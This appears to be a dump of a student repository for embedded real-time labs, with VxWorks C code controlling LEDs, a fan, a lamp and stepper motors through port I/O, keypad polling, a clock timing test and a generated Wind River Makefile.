ms */ } int chkTurnedOnSwitches(char switches) { int ones = 0; do { if (switches & (unsigned int)0x80) /* if the first bit equals 1 */ ones++; /* left bitwise. So the last bit becomes 0, and the second bit becomes the first one */ switches <<= 1; } while (switches > (unsigned int)0); /* until all the bit become zero. */ return ones; } int main() { unsigned int counter = 0; unsigned int intensity = 0; /* Ask OS for permission to manipulate the I/O ports */ if(ioperm(0x180, 5, 1)) { fprintf(stderr,"Failed to get I/O permissions to card, you must run as sudo\n"); exit(0); } /* Set 1 to register 0x184 to enable outputs from the card */ outb(1, 0x184); outb(0xFF,0x181); outb(0xFF, 0x182); //enable reading switches status while(1) { /* sample-code (uncomment for test it) */ // /* Turn on four of the LED's */ // outb(0xCC,0x180); // sleep(1); // /* Turn them off and turn on the other four */ // outb(0x33,0x180); // sleep(1); //shine(50); //50% of shine intensity <-- point 1 (without counter) //point 2 (with counter) /*shine(intensity); counter++; intensity = (counter)%100;*/ //point 3 (regulated by switches) char switches = inb(0x182); //read the switches status int turnedOnSwitches = chkTurnedOnSwitches(switches); //how many switches are turned on intensity = turnedOnSwitches*100/8; shine(intensity); } } <file_sep>/lab3/skeleton/motor2.c #include "common.h" void motor2() { }<file_sep>/lab2/lab2_sp2/lab2/PENTIUMdiab/Makefile # Wind River Workbench generated Makefile. # Do not edit!!! # # The file ".wrmakefile" is the template used by the Wind River Workbench to # generate the makefiles of this project. Add user-specific build targets and # make rules only(!) in this project's ".wrmakefile" file. These will then be # automatically dumped into the makefiles. WIND_HOME := $(subst \,/,$(WIND_HOME)) WIND_BASE := $(subst \,/,$(WIND_BASE)) WIND_USR := $(subst \,/,$(WIND_USR)) WRVX_COMPBASE := $(subst \,/,$(WRVX_COMPBASE)) all : pre_build main_all post_build _clean :: @echo "make: removing targets and objects of `pwd`" TRACE=0 TRACEON=$(TRACE:0=@) TRACE_FLAG=$(TRACEON:1=) JOBS?=1 TARGET_JOBS?=$(JOBS) MAKEFILE := Makefile FLEXIBLE_BUILD := 1 BUILD_SPEC = PENTIUMdiab DEBUG_MODE = 1 ifeq ($(DEBUG_MODE),1) MODE_DIR := Debug else MODE_DIR := NonDebug endif OBJ_DIR := . WS_ROOT_DIR := C:/windriver/workspace PRJ_ROOT_DIR := $(WS_ROOT_DIR)/lab2 #Global Build Macros PROJECT_TYPE = DKM DEFINES = EXPAND_DBG = 0 #BuildSpec specific Build Macros VX_CPU_FAMILY = pentium CPU = PENTIUM TOOL_FAMILY = diab TOOL = diab TOOL_PATH = CC_ARCH_SPEC = -tPENTIUMLH:vxworks69 VSB_DIR = $(WIND_BASE)/target/lib VSB_CONFIG_FILE = $(VSB_DIR)/h/config/vsbConfig.h LIBPATH = LIBS = IDE_INCLUDES = -I$(WIND_BASE)/target/h -I$(WIND\ BASE)/target/usr/h -I$(WIND_BASE)/target/h/wrn/coreip IDE_LIBRARIES = IDE_DEFINES = -DCPU=_VX_$(CPU) -DTOOL_FAMILY=$(TOOL_FAMILY) -DTOOL=$(TOOL) -D_WRS_KERNEL -D_VSB_CONFIG_FILE=\"$(VSB_DIR)/h/config/vsbConfig.h\" #BuildTool flags ifeq ($(DEBUG_MODE),1) DEBUGFLAGS_C-Compiler = -g DEBUGFLAGS_C++-Compiler = -g DEBUGFLAGS_Linker = -g DEBUGFLAGS_Partial-Image-Linker = DEBUGFLAGS_Librarian = DEBUGFLAGS_Assembler = -g else DEBUGFLAGS_C-Compiler = -XO -Xsize-opt -Xalign-functions=4 DEBUGFLAGS_C++-Compiler = -XO -Xsize-opt -Xalign-functions=4 DEBUGFLAGS_Linker = -XO -Xsize-opt -Xalign-functions=4 DEBUGFLAGS_Partial-Image-Linker = DEBUGFLAGS_Librarian = DEBUGFLAGS_Assembler = -XO -Xsize-opt -Xalign-functions=4 endif #Project Targets PROJECT_TARGETS = lab2/$(MODE_DIR)/lab2.out \ lab2_partialImage/$(MODE_DIR)/lab2_partialImage.o #Rules # lab2 ifeq ($(DEBUG_MODE),1) lab2/$(MODE_DIR)/% : DEBUGFLAGS_C-Compiler = -g lab2/$(MODE_DIR)/% : DEBUGFLAGS_C++-Compiler = -g lab2/$(MODE_DIR)/% : DEBUGFLAGS_Linker = -g lab2/$(MODE_DIR)/% : DEBUGFLAGS_Partial-Image-Linker = lab2/$(MODE_DIR)/% : DEBUGFLAGS_Librarian = lab2/$(MODE_DIR)/% : DEBUGFLAGS_Assembler = -g else lab2/$(MODE_DIR)/% : DEBUGFLAGS_C-Compiler = -XO -Xsize-opt -Xalign-functions=4 lab2/$(MODE_DIR)/% : DEBUGFLAGS_C++-Compiler = -XO -Xsize-opt -Xalign-functions=4 lab2/$(MODE_DIR)/% : DEBUGFLAGS_Linker = -XO -Xsize-opt -Xalign-functions=4 lab2/$(MODE_DIR)/% : DEBUGFLAGS_Partial-Image-Linker = lab2/$(MODE_DIR)/% : DEBUGFLAGS_Librarian = lab2/$(MODE_DIR)/% : DEBUGFLAGS_Assembler = -XO -Xsize-opt -Xalign-functions=4 endif lab2/$(MODE_DIR)/% : IDE_INCLUDES = -I$(WIND_BASE)/target/h -I$(WIND\ BASE)/target/usr/h -I$(WIND_BASE)/target/h/wrn/coreip lab2/$(MODE_DIR)/% : IDE_LIBRARIES = lab2/$(MODE_DIR)/% : IDE_DEFINES = -DCPU=_VX_$(CPU) -DTOOL_FAMILY=$(TOOL_FAMILY) -DTOOL=$(TOOL) -D_WRS_KERNEL -D_VSB_CONFIG_FILE=\"$(VSB_DIR)/h/config/vsbConfig.h\" lab2/$(MODE_DIR)/% : PROJECT_TYPE = DKM lab2/$(MODE_DIR)/% : DEFINES = lab2/$(MODE_DIR)/% : EXPAND_DBG = 0 lab2/$(MODE_DIR)/% : VX_CPU_FAMILY = pentium lab2/$(MODE_DIR)/% : CPU = PENTIUM lab2/$(MODE_DIR)/% : TOOL_FAMILY = diab lab2/$(MODE_DIR)/% : TOOL = diab lab2/$(MODE_DIR)/% : TOOL_PATH = lab2/$(MODE_DIR)/% : CC_ARCH_SPEC = -tPENTIUMLH:vxworks69 lab2/$(MODE_DIR)/% : VSB_DIR = $(WIND_BASE)/target/lib lab2/$(MODE_DIR)/% : VSB_CONFIG_FILE = $(VSB_DIR)/h/config/vsbConfig.h lab2/$(MODE_DIR)/% : LIBPATH = lab2/$(MODE_DIR)/% : LIBS = lab2/$(MODE_DIR)/% : OBJ_DIR := lab2/$(MODE_DIR) OBJECTS_lab2 = lab2_partialImage/$(MODE_DIR)/lab2_partialImage.o ifeq ($(TARGET_JOBS),1) lab2/$(MODE_DIR)/lab2.out : $(OBJECTS_lab2) $(TRACE_FLAG)if [ ! -d "`dirname "$@"`" ]; then mkdir -p "`dirname "$@"`"; fi;echo "building $@";rm -f "$@";ddump -Ng $(OBJECTS_lab2) | tclsh $(WIND_BASE)/host/resource/hutils/tcl/munch.tcl -c pentium -tags $(VSB_DIR)/tags/pentium/PENTIUM/common/dkm.tags > $(OBJ_DIR)/ctdt.c; $(TOOL_PATH)dcc $(DEBUGFLAGS_Linker) $(CC_ARCH_SPEC) -Xdollar-in-ident -ei1518,4177,4223,4301,4550,5409,1606 -ei4193,4826,4381,4237,1573,4007,4082,4177,4223,4260,4550,5361,5828 -ei1522,4092,4111,4144,4152,4167,4171,4174,4186,4188,4191,4192,4223,4231,4236,4284,4375,4494,4513,5152,5457 -Xforce-declarations $(ADDED_CFLAGS) $(IDE_INCLUDES) $(ADDED_INCLUDES) $(IDE_DEFINES) $(DEFINES) -o $(OBJ_DIR)/ctdt.o -c $(OBJ_DIR)/ctdt.c; $(TOOL_PATH)dld -tPENTIUMLH:vxworks69 -X -r5 -r4 -o "$@" $(OBJ_DIR)/ctdt.o $(OBJECTS_lab2) $(IDE_LIBRARIES) $(LIBPATH) $(LIBS) $(ADDED_LIBPATH) $(ADDED_LIBS) && if [ "$(EXPAND_DBG)" = "1" ]; then plink "$@";fi else lab2/$(MODE_DIR)/lab2.out : lab2/$(MODE_DIR)/lab2.out_jobs endif lab2/$(MODE_DIR)/lab2_compile_file : $(FILE) ; _clean :: lab2/$(MODE_DIR)/lab2_clean lab2/$(MODE_DIR)/lab2_clean : $(TRACE_FLAG)if [ -d "lab2" ]; then cd "lab2"; rm -rf $(MODE_DIR); fi # lab2_partialImage ifeq ($(DEBUG_MODE),1) lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_C-Compiler = -g lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_C++-Compiler = -g lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_Linker = -g lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_Partial-Image-Linker = lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_Librarian = lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_Assembler = -g else lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_C-Compiler = -XO -Xsize-opt -Xalign-functions=4 lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_C++-Compiler = -XO -Xsize-opt -Xalign-functions=4 lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_Linker = -XO -Xsize-opt -Xalign-functions=4 lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_Partial-Image-Linker = lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_Librarian = lab2_partialImage/$(MODE_DIR)/% : DEBUGFLAGS_Assembler = -XO -Xsize-opt -Xalign-functions=4 endif lab2_partialImage/$(MODE_DIR)/% : IDE_INCLUDES = -I$(WIND_BASE)/target/h -I$(WIND\ BASE)/target/usr/h -I$(WIND_BASE)/target/h/wrn/coreip lab2_partialImage/$(MODE_DIR)/% : IDE_LIBRARIES = lab2_partialImage/$(MODE_DIR)/% : IDE_DEFINES = -DCPU=_VX_$(CPU) -DTOOL_FAMILY=$(TOOL_FAMILY) -DTOOL=$(TOOL) -D_WRS_KERNEL -D_VSB_CONFIG_FILE=\"$(VSB_DIR)/h/config/vsbConfig.h\" lab2_partialImage/$(MODE_DIR)/% : PROJECT_TYPE = DKM lab2_partialImage/$(MODE_DIR)/% : DEFINES = lab2_partialImage/$(MODE_DIR)/% : EXPAND_DBG = 0 lab2_partialImage/$(MODE_DIR)/% : VX_CPU_FAMILY = pentium lab2_partialImage/$(MODE_DIR)/% : CPU = PENTIUM lab2_partialImage/$(MODE_DIR)/% : TOOL_FAMILY = diab lab2_partialImage/$(MODE_DIR)/% : TOOL = diab lab2_partialImage/$(MODE_DIR)/% : TOOL_PATH = lab2_partialImage/$(MODE_DIR)/% : CC_ARCH_SPEC = -tPENTIUMLH:vxworks69 lab2_partialImage/$(MODE_DIR)/% : VSB_DIR = $(WIND_BASE)/target/lib lab2_partialImage/$(MODE_DIR)/% : VSB_CONFIG_FILE = $(VSB_DIR)/h/config/vsbConfig.h lab2_partialImage/$(MODE_DIR)/% : LIBPATH = lab2_partialImage/$(MODE_DIR)/% : LIBS = lab2_partialImage/$(MODE_DIR)/% : OBJ_DIR := lab2_partialImage/$(MODE_DIR) lab2_partialImage/$(MODE_DIR)/Objects/lab2/delayLib.o : $(PRJ_ROOT_DIR)/delayLib.c $(FORCE_FILE_BUILD) $(TRACE_FLAG)if [ ! -d "`dirname "$@"`" ]; then mkdir -p "`dirname "$@"`"; fi;echo "building $@"; $(TOOL_PATH)dcc $(DEBUGFLAGS_C-Compiler) $(CC_ARCH_SPEC) -W:c:,-Xclib-optim-off -Xansi -Xlocal-data-area-static-only -Xsystem-headers-warn -Xc-new -Xdialect-c89 -ei1518,4177,4223,4301,4550,5409,1606 -ei4193,4826,4381,4237,1573,4007,4082,4177,4223,4260,4550,5361,5828 -ei1522,4092,4111,4144,4152,4167,4171,4174,4186,4188,4191,4192,4223,4231,4236,4284,4375,4494,4513,5152,5457 -Xforce-declarations -Xmake-dependency=0xd $(IDE_DEFINES) $(DEFINES) $(ADDED_CFLAGS) $(IDE_INCLUDES) $(ADDED_INCLUDES) -o "$@" -c "$<" lab2_partialImage/$(MODE_DIR)/Objects/lab2/lab2-1.o : $(PRJ_ROOT_DIR)/lab2-1.c $(FORCE_FILE_BUILD) $(TRACE_FLAG)if [ ! -d "`dirname "$@"`" ]; then mkdir -p "`dirname "$@"`"; fi;echo "building $@"; $(TOOL_PATH)dcc $(DEBUGFLAGS_C-Compiler) $(CC_ARCH_SPEC) -W:c:,-Xclib-optim-off -Xansi -Xlocal-data-area-static-only -Xsystem-headers-warn -Xc-new -Xdialect-c89 -ei1518,4177,4223,4301,4550,5409,1606 -ei4193,4826,4381,4237,1573,4007,4082,4177,4223,4260,4550,5361,5828 -ei1522,4092,4111,4144,4152,4167,4171,4174,4186,4188,4191,4192,4223,4231,4236,4284,4375,4494,4513,5152,5457 -Xforce-declarations -Xmake-dependency=0xd $(IDE_DEFINES) $(DEFINES) $(ADDED_CFLAGS) $(IDE_INCLUDES) $(ADDED_INCLUDES) -o "$@" -c "$<" lab2_partialImage/$(MODE_DIR)/Objects/lab2/lab3.o : $(PRJ_ROOT_DIR)/lab3.c $(FORCE_FILE_BUILD) $(TRACE_FLAG)if [ ! -d "`dirname "$@"`" ]; then mkdir -p "`dirname "$@"`"; fi;echo "building $@"; $(TOOL_PATH)dcc $(DEBUGFLAGS_C-Compiler) $(CC_ARCH_SPEC) -W:c:,-Xclib-optim-off -Xansi -Xlocal-data-area-static-only -Xsystem-headers-warn -Xc-new -Xdialect-c89 -ei1518,4177,4223,4301,4550,5409,1606 -ei4193,4826,4381,4237,1573,4007,4082,4177,4223,4260,4550,5361,5828 -ei1522,4092,4111,4144,4152,4167,4171,4174,4186,4188,4191,4192,4223,4231,4236,4284,4375,4494,4513,5152,5457 -Xforce-declarations -Xmake-dependency=0xd $(IDE_DEFINES) $(DEFINES) $(ADDED_CFLAGS) $(IDE_INCLUDES) $(ADDED_INCLUDES) -o "$@" -c "$<" OBJECTS_lab2_partialImage = lab2_partialImage/$(MODE_DIR)/Objects/lab2/delayLib.o \ lab2_partialImage/$(MODE_DIR)/Objects/lab2/lab2-1.o \ lab2_partialImage/$(MODE_DIR)/Objects/lab2/lab3.o ifeq ($(TARGET_JOBS),1) lab2_partialImage/$(MODE_DIR)/lab2_partialImage.o : $(OBJECTS_lab2_partialImage) $(TRACE_FLAG)if [ ! -d "`dirname "$@"`" ]; then mkdir -p "`dirname "$@"`"; fi;echo "building $@"; $(TOOL_PATH)dld -tPENTIUMLH:vxworks69 -X -r5 -o "$@" $(OBJECTS_lab2_partialImage) $(ADDED_OBJECTS) $(IDE_LIBRARIES) $(LIBPATH) $(LIBS) $(ADDED_LIBPATH) $(ADDED_LIBS) && if [ "$(EXPAND_DBG)" = "1" ]; then plink "$@";fi else lab2_partialImage/$(MODE_DIR)/lab2_partialImage.o : lab2_partialImage/$(MODE_DIR)/lab2_partialImage.o_jobs endif lab2_partialImage/$(MODE_DIR)/lab2_partialImage_compile_file : $(FILE) ; _clean :: lab2_partialImage/$(MODE_DIR)/lab2_partialImage_clean lab2_partialImage/$(MODE_DIR)/lab2_partialImage_clean : $(TRACE_FLAG)if [ -d "lab2_partialImage" ]; then cd "lab2_partialImage"; rm -rf $(MODE_DIR); fi force : TARGET_JOBS_RULE?=echo update makefile template %_jobs : $(TRACE_FLAG)$(TARGET_JOBS_RULE) DEP_FILES := lab2_partialImage/$(MODE_DIR)/Objects/lab2/delayLib.d lab2_partialImage/$(MODE_DIR)/Objects/lab2/lab2-1.d lab2_partialImage/$(MODE_DIR)/Objects/lab2/lab3.d -include $(DEP_FILES) WIND_SCOPETOOLS_BASE := $(subst \,/,$(WIND_SCOPETOOLS_BASE)) clean_scopetools : $(TRACE_FLAG)rm -rf $(PRJ_ROOT_DIR)/.coveragescope/db CLEAN_STEP := clean_scopetools -include $(PRJ_ROOT_DIR)/*.makefile -include *.makefile TARGET_JOBS_RULE=$(MAKE) -f $(MAKEFILE) --jobs $(TARGET_JOBS) $(MFLAGS) $* TARGET_JOBS=1 ifeq ($(JOBS),1) main_all : external_build $(PROJECT_TARGETS) @echo "make: built targets of `pwd`" else main_all : external_build @$(MAKE) -f $(MAKEFILE) --jobs $(JOBS) $(MFLAGS) $(PROJECT_TARGETS) TARGET_JOBS=1;\ echo "make: built targets of `pwd`" endif # entry point for extending the build external_build :: @echo "" # main entry point for pre processing prior to the build pre_build :: $(PRE_BUILD_STEP) generate_sources @echo "" # entry point for generating sources prior to the build generate_sources :: @echo "" # main entry point for post processing after the build post_build :: $(POST_BUILD_STEP) deploy_output @echo "" # entry point for deploying output after the build deploy_output :: @echo "" clean :: external_clean $(CLEAN_STEP) _clean # entry point for extending the build clean external_clean :: @echo "" <file_sep>/lab3/lab-3/fan.c #include "common.h" #include "fan.h" //int fan_counter = 0; void fan() { while (1) { switch (fan_mode) { case FAN_OFF: //only if fan was previously on if (fan_state) { fan_state = 0; sysOutByte(0x182, (lamp_state) ? LAMP_FLAG : 0x00); //set low the fan flag } taskDelay(10); break; case FAN_FIFTY_PERCENT: //100 Hz --> 10 ms for each cycle sysOutByte(0x182, (lamp_state) ? FAN_FLAG|LAMP_FLAG : FAN_FLAG); //turn on the fan fan_state = 1; //delayMsec(5); taskDelay(5); //5 ms of turned on fan sysOutByte(0x182, (lamp_state) ? LAMP_FLAG : 0x00); //turn off the fan fan_state = 0; //delayMsec(5); taskDelay(5); //5 ms of turned off fan break; case FAN_ONE_HUNDRED_PERCENT: //only if fan was previously off if (!fan_state) { fan_state = 1; sysOutByte(0x182, (lamp_state) ? FAN_FLAG|LAMP_FLAG : FAN_FLAG); //set high the fan flag } taskDelay(10); break; } } } void changeFanMode(fan_mode_t mode) { //fan_counter = 0; fan_mode = mode; } //START TEST FUNCTION void start_test_fan() { sysClkRateSet(1000); kernelTimeSlice(10); fan_state = 0; sysOutByte(0x184, 0xFF); fan_PID = taskSpawn("fan", 200, 0, 1000, fan); } //STOP TEST FUNCTION void stop_test_fan() { taskDelete(fan_PID); } <file_sep>/lab2/lab2_sp1/labb2/task2.c #include "delayLib.h" #include "semLib.h" int t2id; SEM_ID semId; int leds[8][3]; void input() { char inString[20]; //input string char* stringToken; //used for string splitting int ledNumber; //led to change color on int i; //used in for-loop while(1) { printf("Mata in diodnr samt R/G/B: "); gets(&inString); stringToken = strtok(inString, " "); ledNumber = atoi(stringToken); printf("%d ", ledNumber); semTake(semId, WAIT_FOREVER); for(i = 0; i < 3; i++) { stringToken = strtok(NULL, " "); leds[ledNumber][i] = atoi(stringToken); printf("%d ", leds[ledNumber][i]); } semGive(semId); } } void task2() { int i, j; //used in for-loops while(1) { for (i = 0; i < 255; i++) { unsigned char red = 0xFF; //out red unsigned char green = 0xFF; //out green unsigned char blue = 0xFF; //out blue //set bits for(j = 0; j < 8; j++) { red <<= 1; green <<= 1; blue <<= 1; semTake(semId, WAIT_FOREVER); //set reds if(leds[j][0] <= i) { red = red | 0x01; } //set greens if(leds[j][1] <= i) { green = green | 0x01; } //set blues if(leds[j][2] <= i) { blue = blue | 0x01; } semGive(semId); } //light leds sysOutByte(0x180, red); sysOutByte(0x181, green); sysOutByte(0x182, blue); //sleep delayUsec(78); } } } void task2Start() //start task 2 { int i; semId = semBCreate(0, SEM_EMPTY); sysOutByte(0x184, 1); for(i = 0; i < 3; i++) { leds[0][i] = 255; leds[1][i] = 200; leds[2][i] = 150; leds[3][i] = 100; leds[4][i] = 50; leds[5][i] = 0; } leds[6][0] = 255; leds[7][1] = 255; semGive(semId); t2id = taskSpawn("task2", 100, 0, 4000, task2); } void s2() //stop task 2 { taskDelete(t2id); sysOutByte(0x180, 0xff); sysOutByte(0x181, 0xff); sysOutByte(0x182, 0xff); } <file_sep>/lab3/lab-3/machine-utils.c /* machine-utils.c Contains usefull functions for lab4 */ #include "delayLib.h" #include "machine-utils.h" char keyMap[4][4] = {{1,2,3,10},{4,5,6,11},{7,8,9,12},{0,15,14,13}}; /* Polls the keyboard and returns currently pressed key (value 0-15) or -1 if no key is pressed */ int readKeyboard() { int row=-1, column=-1, val,i; /* read row from keyboard */ sysOutByte(0x180,0x0F); delayUsec(100); val=sysInByte(0x180); if(!(val & 1)) row=0; if(!(val & 2)) row=1; if(!(val & 4)) row=2; if(!(val & 8)) row=3; /* read column from keyboard */ sysOutByte(0x180,0xF0); delayUsec(100); val=sysInByte(0x180); if(!(val & 16)) column=0; if(!(val & 32)) column=1; if(!(val & 64)) column=2; if(!(val & 128)) column=3; if(row != -1 && column != -1) return keyMap[row][column]; else return -1; } <file_sep>/lab3/skeleton/fan.h #ifndef __fanh #define __fanh void fan(); #endif<file_sep>/lab3/skeleton/motor1.h #ifndef __motor1h #define __motor1h void motor1(); #endif<file_sep>/lab3/skeleton/motor2.h #ifndef __motor2h #define __motor2h void motor2(); #endif<file_sep>/lab3/lab-3/lab3.c #include "common.h" #include "lamp.h" #include "fan.h" #include "motor1.h" #include "motor2.h" int input; int previousInput; void stop() { changeLampMode(LAMP_OFF); //turn of the lamp changeFanMode(FAN_OFF); //turn off the fan taskDelay(100); //flush and delete message queues if (m1MsgQId!=0) msgQDelete(m1MsgQId); if (m2MsgQId!=0) msgQDelete(m2MsgQId); //delete the semaphores if (semMotors!=0) semDelete(semMotors); if (semCounterMotor1!=0) semDelete(semCounterMotor1); if (semCounterMotor2!=0) semDelete(semCounterMotor2); //delete the motors tasks if (motor1_PID!=0) taskDelete(motor1_PID); if (motor1_PID!=0) taskDelete(motor2_PID); //delete the lamp&fan tasks if (lamp_PID!=0) taskDelete(lamp_PID); if (fan_PID!=0) taskDelete(fan_PID); //turn off the motors sysOutByte(0x181, M2_INHIB|M1_INHIB); taskDelay(5); //delay of 5ms for sendind the message //delete the main task if (lab3_PID!=0) taskDelete(lab3_PID); } void changeRunningMode(running_mode_t mode) { //input = -1; running_mode = mode; } /* The main task, that is responsible of: - managing running mode; - reading values from keyboard - parsing and sending keyboard input to motor message queues */ void lab3() { sysClkRateSet(1000); //1000 ticks per second kernelTimeSlice(10); //enable round-robin scheduling process (10 ticks per time slice) input = 13; //D (entering into calibrarion mode) previousInput = -1; running_mode = CONFIG; //"When the machine is started the tools can be placed in any position at all..." //configuration fan and lamp default mode changeFanMode(FAN_OFF); changeLampMode(LAMP_CONFIG); //lamp and fan turned off lamp_state = 0; fan_state = 0; //creating lamp and fan tasks lamp_PID = taskSpawn("lamp", 200, 0, 1000, lamp); fan_PID = taskSpawn("fan", 201, 0, 1000, fan); sysOutByte(0x184, 0xFF); //taking control of fan and lamp ports sysOutByte(0x181, M1_INHIB|M2_INHIB); //turn off motors while (1) { switch (running_mode) { case CONFIG: do { //reads from keyboard matrix previousInput = input; input = readKeyboard(); //until the user digit something on the keyboard, and the button pressed is different than the previous one } while (input == -1 || previousInput==input); previousInput = input; switch (input) { // 3. The following 3 operator commands can be given: case 0: //End configuration mode and go to run-mode. changeRunningMode(RUN); changeFanMode(FAN_FIFTY_PERCENT); //because the machine are not running at the beginning changeLampMode(MACHINE_NOT_WORKING); //create the motor tasks motor1_PID = taskSpawn("motor1", 200, 0, 1000, motor1); motor2_PID = taskSpawn("motor2", 200, 0, 1000, motor2); //create semaphores semMotors = semBCreate(SEM_Q_PRIORITY, SEM_FULL); semCounterMotor1 = semBCreate(SEM_Q_FIFO, SEM_FULL); semCounterMotor2 = semBCreate(SEM_Q_FIFO, SEM_FULL); //create message queues m1MsgQId = msgQCreate(10, 2, MSG_Q_FIFO); m2MsgQId = msgQCreate(10, 2, MSG_Q_FIFO); //turn on motors sysOutByte(0x181, 0x00); break; case 1: //"Let motor 1 advance one half-step." sysOutByte(0x181,M2_INHIB|M1_STEP); taskDelay(25); sysOutByte(0x181,M2_INHIB); taskDelay(25); sysOutByte(0x181,M1_INHIB|M2_INHIB); //"Turning off power immediately after." taskDelay(50); break; case 2: //"Let motor 2 advance one half-step." sysOutByte(0x181,M1_INHIB|M2_STEP); taskDelay(25); sysOutByte(0x181,M1_INHIB); taskDelay(25); sysOutByte(0x181,M1_INHIB|M2_INHIB); //"Turning off power immediately after." taskDelay(50); break; } break; case ERR: taskDelay(100); //input = -1; //"The motors should stop rotating immediately." msgQDelete(m1MsgQId); msgQDelete(m2MsgQId); //"The job queues for the engines are emptied." taskDelete(motor1_PID); taskDelete(motor2_PID); //"The warning lamp signals error mode by turning on for 1s and then off for 1s, repeatedly" changeLampMode(LAMP_ERR); // The system waits to be reset do { //reads from keyboard matrix previousInput = input; input = readKeyboard(); //until the user digit something on the keyboard, and the button pressed is different than the previous one } while ((input == -1 && input != 13) || previousInput==input); previousInput = input; //D: Restart, the system enters calibration mode changeRunningMode(CONFIG); changeFanMode(FAN_OFF); changeLampMode(LAMP_CONFIG); sysOutByte(0x181,M2_INHIB|M1_INHIB); break; default: //RUN taskDelay(100); //input = -1; do { //reads from keyboard matrix until the user digit something on the keyboard previousInput = input; input = readKeyboard(); } while (input == -1 || (!(input>=0 && input<=6) && input!=10 && input!=11 && input!=15) || previousInput==input); //command to motors, or continue... previousInput = input; char msg[2]; //message buffer --> max 2 bytes, because the messages goes from "0" to "F" (plus the '\0' byte). switch (input) { case 0: //Stop both motors to the next safe-position semTake(semCounterMotor1, WAIT_FOREVER); //take the counter semaphore (because maybe motor 1 is r/w-ing it) if (counter_motor1_steps > 0) { //if motor 1 is working, of has already finished his stepping rotation //decrement the counter to the remaning steps for reaching the next safe-position int newCounter = counter_motor1_steps % QUARTER_ROTATION_STEPS; counter_motor1_steps = newCounter; } semGive(semCounterMotor1); semTake(semCounterMotor2, WAIT_FOREVER); //take the counter semaphore (because maybe motor 2 is r/w-ing it) if (counter_motor2_steps > 0) { //if motor 2 is working, of has already finished his stepping rotation. //decrement the counter to the remaning steps for reaching the next safe-position int newCounter = counter_motor2_steps % QUARTER_ROTATION_STEPS; counter_motor2_steps = newCounter; } semGive(semCounterMotor2); //sysOutByte(0x181, M2_INHIB|M1_INHIB); //taskDelay(5); semTake(semMotors, WAIT_FOREVER); stop(); //shutdown all processes break; case 15: //F: Emergency stop. sysOutByte(0x181,M2_INHIB|M1_INHIB); taskDelay(5); changeFanMode(FAN_OFF); //turns off the fan changeLampMode(LAMP_OFF); //turns off the lamp changeRunningMode(ERR); //and enter error mode break; default: sprintf(msg, "%1x", input); //Parse integer input to string format that goes from "0" to "F" if ((input>= 1 && input<= 3) || input == 10) { //the message is dedicated to motor1 //Stop motor 2 at the next safe position semTake(semCounterMotor2, WAIT_FOREVER); //take the counter semaphore (because maybe motor 2 is r/w-ing it) if (counter_motor2_steps > 0) { //if motor 2 is working, of has already finished his stepping rotation. //decrement the counter to the remaning steps for reaching the next safe-position int newCounter = counter_motor2_steps % QUARTER_ROTATION_STEPS; counter_motor2_steps = newCounter; } semGive(semCounterMotor2); msgQSend(m1MsgQId, msg, 2, WAIT_FOREVER, MSG_PRI_NORMAL); //send the input to motor1 message queue } if ((input>= 4 && input<= 6) || input == 11) { //the message is dedicated to motor2 msgQSend(m2MsgQId, msg, 2, WAIT_FOREVER, MSG_PRI_NORMAL); //send the input to motor2 message queue } break; } break; } } } void start() { lab3_PID = taskSpawn("lab3", 201, 0, 1000, lab3); //create the main task (priority: 201) } <file_sep>/lab1/lab-1e/clocks.c /* clocks.c * Utför några tester på hur klockan fungerar med olika hastigheter */ #include <stdio.h> #include <sys/time.h> #include <sys/select.h> #include <unistd.h> #include "math.h" double timenow() { struct timespec tv; clock_gettime(CLOCK_REALTIME,&tv); return tv.tv_sec + tv.tv_nsec * 1e-9; } void delay(double dt) { struct timespec tv; tv.tv_sec = (int) dt; tv.tv_nsec = fmod(dt,1.0) * 1000000000; nanosleep(&tv,NULL); } void getres() { struct timespec tv; clock_getres(CLOCK_REALTIME,&tv); printf("Clock resolution is: %.6f",tv.tv_sec+1e-9*tv.tv_nsec); } void clockTest() { double startTime = timenow(); double nextTime = startTime; double previousTime = -1.0; //negative time, i.e. "there is no previous time" double deltaTime; char *syncResultStr; while(1) { if (previousTime == -1.0) { //if there is no previous time printf("%3.6f\n",timenow() - startTime); //print only the actual relative time } else { //output string check of 7Hz clock runtime syncResultStr = (deltaTime == 1/7.0) ? "Sync to 7Hz" : "Not sync to 7Hz"; // print relative time, delta time, and if the clock is "sync" to 7Hz printf("%3.6f\t %3.6f\t %s\n",timenow() - startTime, deltaTime, syncResultStr); } printf("Clock frequency: %d\n", sysClkRateGet()); previousTime = timenow() - startTime; nextTime += 1/7.0; delay(nextTime - timenow()); //delta between previous and actual time deltaTime = timenow() - startTime - previousTime; } } <file_sep>/lab3/skeleton/common.h #include "semLib.h" #include "msgQLib.h" #include "machine-utils.h" enum running_mode_t { CONFIG, //configuration mode RUN, //running mode ERROR //error mode }; extern enum running_mode_t running_mode; //the running mode in an exact instant time enum lamp_mode_t { OFF, CONFIG, //"This is done by PWM controlling the lamp going smoothly from 0% intensity to 100% intensity over 2s and then starting over abruptly from 0% again." WORKING, //"Then the machines are working, the lamp should blink with 3 on/off flashes every second." NOT_WORKING, //"When the machines are not, the lamp should smoothly go from zero intensity to full intensity, and then smoothly back to zero. Each such cycle should take 4s." ERROR //"The warning lamp signals error mode by turning on for 1s and then off for 1s, repeatedly" }; extern enum lamp_mode_t lamp_mode; enum fan_mode_t { OFF, ONE_HUNDRED_PERCENT, //"When the machines are operating, the fan should be working at 100%, ..." FIFTY_PERCENT //"...otherwise the fan hould be working at 50%" }; extern enum fan_mode_t fan_mode; /* message queues */ extern MSG_Q_ID m1MsgQId; //message queue used by motor1 task extern MSG_Q_ID m2MsgQId; //message queue used by motor2 task /* semaphores */ extern SEM_ID semMotor1; //binary semaphore about the usage of motor1 (0 if busy/working, 1 if free/not working) extern SEM_ID semMotor2; //binary semaphore about the usage of motor2 (0 if busy/working, 1 if free/not working) /* tasks */ extern int motor1_PID; extern int motor2_PID; extern int lamp_PID; extern int 